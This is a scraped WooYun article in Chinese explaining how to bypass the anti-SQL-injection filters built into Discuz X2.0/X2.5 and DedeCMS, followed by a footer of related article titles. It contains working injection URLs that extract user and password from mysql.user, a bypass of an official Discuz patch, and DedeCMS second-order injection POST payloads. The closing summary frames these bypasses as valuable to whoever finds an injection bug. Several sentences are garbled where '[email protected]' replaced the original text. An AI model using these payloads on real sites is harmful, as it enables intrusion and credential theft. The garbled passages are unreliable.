

几种通用防注入程序绕过方法 | WooYun知识库
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

几种通用防注入程序绕过方法
0x00 前言
目前主流的CMS系统当中都会内置一些防注入的程序,例如Discuz、dedeCMS等,本篇主要介绍绕过方法。
0x01 Discuz x2.0防注入
防注入原理
这里以Discuz最近爆出的一个插件的注入漏洞为例,来详细说明绕过方法。
漏洞本身很简单,存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函数中,代码如下所示
#!php
function getGoods($id){
$query = DB::query('select * from '.DB::table('v63_goods').' where `id` ='.$id);
$goods = DB::fetch($query);
$goods['endtime2'] = date('Y-m-d',$goods['endtime']);
$goods['price2'] = $goods['price'];
if($goods['sort'] ==2){
$goods['endtime2']= date('Y-m-d H:i:s',$goods['endtime']);
$query = DB::query("select * from ".DB::table('v63_pm')." where gid='$goods[id]' order by id desc ");
$last = DB::fetch($query);
if(is_array($last)){
$goods['price'] = $last['chujia'];
$goods['uid'] = $last['uid'];
$goods['username'] = $last['username'];
$goods['pm'] = $last;
if(time()+600> $goods['endtime']){
$goods['endtime'] = $last[time]+600;
$goods['endtime2']= date('Y-m-d H:i:s',$last[time]+600);
}
}
}
return $goods;
}
触发漏洞的入口点在/source/plugin/v63shop/goods.inc.php中的第6行和第8行,如图所示: 
下面可以构造如下请求触发漏洞了,如图所示: 
不过程序内置了一个_do_query_safe函数用来防注入,如图所示 
这里跟踪一下_do_query_safe()函数的执行,它会对以下关键字做过滤,如图所示:

因为我们的url中出现了union select,所以会被过滤掉。
绕过方法
这里利用Mysql的一个特性绕过_do_query_safe函数过滤,提交如下url:
http://localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
这里我们跟踪一下,绕过的具体过程。它会将/**/中间的内容去掉,然后保存在$clean变量中,其值为
select * from pre_v63_goods where `id` =1 and 1=2 union /**/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
再进一步跟踪,它会将/**/
也去掉,然对$clean变量做过滤,如图所示
 此时$clean值,如图所示 
此时$clean变量中不在含有危险字符串,绕过_do_query_safe函数过滤,成功注入,截图如下: 
0x02 Discuz X2.5防注入
防注入原理
Discuz X2.5版修改了防注入函数的代码,在/config/config_global.php中有如下代码,如图所示 
这里$_config['security']['querysafe']['afullnote']
默认被设置为0,重点关注这一点。
这里跟踪一下失败的原因,如图所示: 
此时观察一下变量,_do_query_safe($sql)函数会将/**/
中的内容去掉,然后存到$clean中,如图所示: 
其实,程序执行到这里跟Discuz X2.0没有区别,$clean的值都一样。但是关键在下面,如图所示:
 因为前面提到$_config['security']['querysafe']['afullnote']=’0’,所以这里不会替换
/**/
为空,并且它在后面会判断$clean中是否会出现“/*”,如图所示:  
所以注入失败。
绕过方法
在Mysql当中,[email protected],可以用set @a=’abc’,来为变量赋值。这里为了合法的构造出一个单引号,目的是为了让sql正确,我们可以用@'
放入sql语句当中,帮助我们绕过防注入程序检查。
这里利用如下方式绕过_do_query_safe函数过滤,如下所示:
http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=@`'` union select @`'`,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user
这里跟踪一下执行的过程,如图所示:
 这里有一个if判断,重点看这句
#!php
$clean = preg_replace("/'(.+?)'/s", '', $sql);
它会将$sql中单引号引起来的字符串省略掉,所以我们可以用绕过dede防住ids的思路,利用
@`'` union select @`'`
这样的方法,在下面的过滤中省掉union select,这里跟踪一下,如图所示: 
这样便绕过了_do_query_safe函数检测,成功绕过防注入,如图所示: 
不过后来Discuz官方发布了一个修复补丁,但并没用从根本上解决问题。官方的修复代码如下: 
加了一个判断,过滤字符串中的@,但是始终没有修复根本问题,关键是上边的那个if判断会将单引号之间的内容(包括单引号)替换为空,代码如下:
#!php
if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {
$clean = preg_replace("/'(.+?)'/s", '', $sql);
}
[email protected],从而绕过它的过滤,利用如下所示:
http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`'`
这里我引入了`'`[email protected],并将第一个@`'`替换为@`''`,这样便可以替换掉第二个@,这里我们跟踪一下代码,如图所示: 
可以看到$clean变为
select * from pre_v63_goods where `id` =``
成功绕过补丁,如图所示:
 不过这样做的代价是不能再使用union select了,只能通过报错获取数据。
0x03 DedeCMS防注入
防注入原理
这里我也以最近热点分析的dedeCMS feedback.php注入漏洞为例,分析如何绕过其防注入系统。不过在这之前,还得先提一下这个漏洞。
漏洞存在于/plus/feedback.php中的第244行,代码如下所示
if($comtype == 'comments')
{
$arctitle = addslashes($title);
$typeid = intval($typeid);
$ischeck = intval($ischeck);
$feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);
if($msg!='')
{
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
$rs = $dsql->ExecuteNoneQuery($inquery);
if(!$rs)
{
ShowMsg(' 发表评论错误! ', '-1');
//echo $dsql->GetError();
exit();
}
}
}
//引用回复
elseif ($comtype == 'reply')
{
$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
$arctitle = $row['arctitle'];
$aid =$row['aid'];
$msg = $quotemsg.$msg;
$msg = HtmlReplace($msg, 2);
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
$dsql->ExecuteNoneQuery($inquery);
}
这里$title变量未初始化,所以$title可以作为可控变量,所以我们可以进一步控制$arctitle。跟踪发现$arctitle被直接带入SQL语句当中,但是这里执行的INSERT语句入库之后会将前面addslashes转义的单引号在会员还原回去。进一步跟踪下面的代码,在第268行,如下所示
$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
$arctitle = $row['arctitle'];
这里的查询#@__feedback表正式上面INSERT的那个表,arctitle字段取出来放到$arctitle变量当中,继续跟踪到第273行,这下豁然开朗了,
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
这里$arctitle变量未作任何处理,就丢进了SQL语句当中,由于我们可以控制$title,虽然$arctitle是被addslashes函数处理过的数据,但是被INSERT到数据库中又被还原了,所以综合起来这就造成了二次注入漏洞。
但是这里如何利用呢,通过跟踪代码发现,整个dede在整个过程中始终没有输出信息,所以我们无法通过构造公式报错来获取数据,但是进一步分析代码发现#@__feedback表当中的msg字段会被输出。由于$arctitle变量是可控的,所以我们可以通过构造SQL语句,将我们要执行的代码插入到msg字段当中,这样便可以输出执行的内容了。
绕过方法
众所周知,dedeCMS内置了一个CheckSql()函数用来防注入,它是80sec开发的通用防注入ids程序,每当执行sql之前都要用它来检查一遍。其代码如下所示:
#!php
function CheckSql($db_string,$querytype='select')
{
global $cfg_cookie_encode;
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
$log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
$userIP = GetIP();
$getUrl = GetCurUrl();
//如果是普通查询语句,直接过滤一些特殊语法
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
//$notallow2 = "--|/\*";
if(preg_match("/".$notallow1."/i", $db_string))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
}
}
//完整的SQL检查
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="union detect";
}
//发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
{
$fail = TRUE;
$error="comment detect";
}
//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
{
$fail = TRUE;
$error="sub select detect";
}
if (!empty($fail))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
}
else
{
return $db_string;
}
}
但通过跟踪这段代码发现,它有个特征就是会将两个单引号之间的内容用$s$替换,例如’select’会被替换为$s$,这里用两个@`'`包含敏感字,这样$clean变量中就不会出现敏感字,从而绕过CheckSql()函数检测。
这里可以设置title为如下代码,一方面绕过ids防注入代码检测,另一方面加一个#注释掉后面的代码,但是还要做一下变形,就是这个char(@`'`)了。因为#@__feedback的所有字段都被设置为NOT NULL,而@`'`是一个变量,默认为NULL,直接插入@`'`的话会报错,所以需要以char(@`'`)的方法转换一下。
',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
跟踪代码,如图所示 
如下SQL语句
INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('1','1','游客','\',char(@`\'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,','127.0.0.1','1','1364401789', '0','0','0','feedback','1','genxor');
被替换为了
insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,$s$,$s$,$s$, $s$,$s$,$s$,$s$,$s$,$s$);
字符串中没有任何敏感字,成功绕过CheckSql()函数检测。
POST如下请求给feedback.php,如下所示:
action=send&comtype=comments&aid=1&isconfirm=yes&feedbacktype=feedback&face=1&msg=genxor¬user=1&typeid=1&title=',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
跟踪代码,实际执行的SQL语句跟踪变量如下所示: 
被插入数据库中的内容,如图所示: 
下面再POST如下内容给feedback.php,
action=send&comtype=reply&aid=1&isconfirm=yes&feedbacktype=feedback&fid=50
跟踪一下这里执行的SQL语句,如图所示 
所以select user()执行了,并且可以作为msg字段输出。
0x04 总结
在写这篇文章之前,我分析了很多常用的cms系统的源码,包括discuz、dedecms、phpwind、phpcms等,只有在discuz、dedecms这两个系统中用到通用防注入,但是它们所覆盖的用户群已将相当庞大了。如果能在发现程序注入漏洞的情况下,这些绕过方法还是很有价值的。
Recommend
-
63
SQL注入:9种绕过Web应用程序防火墙的方式
-
79
WAF区别于常规防火墙,因为WAF能够过滤特定Web应用程序的内容,而常规防火墙充当的则是服务器之间的安全门。通过检查HTTP流量,它可以防止源自Web应用安全漏洞的攻击,如SQL注入,XSS,文件包含和安全配置错误。
-
12
利用反射型XSS二次注入绕过CSP form-action限制 ca1n
-
10
Python编写shellcode注入程序 light ·
-
5
深入了解SQL注入绕过waf和过滤机制 r00tgrok
-
37
一、前言 这个注入是之前做测试时发现的,但是测试的时候发现有防护,但是想想这么个小网站都绕不过,实在不应该啊。开始补充学习各种场景、各种waf绕过姿势,勉勉强强的成功执行我构造的SQL的语句。趁着还有些印象,...
-
14
通过APC实现Dll注入——绕过Sysmon监控 0x00 前言 要对指定进程进行远程注入,通常使用Windows提供的API CreateRemoteThread创建一个远程线程,进而注入dll或是执行shellcode Sysmon可用来监控和记录系统活动,可记...
-
7
WordPress Hosting...
-
9
PHP防御的几种姿势1.关闭错误提示说明:PHP配置文件php.ini中的display_errors=Off 2.魔术引号说明:当php.ini里的magic_quotes_gpc=On时,提交的变量中...
-
8
[TOC] 注释符号绕过 常用的注释符有: -- 注释内容 # 注释内容 /*注释内容*/ ; 实例:
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK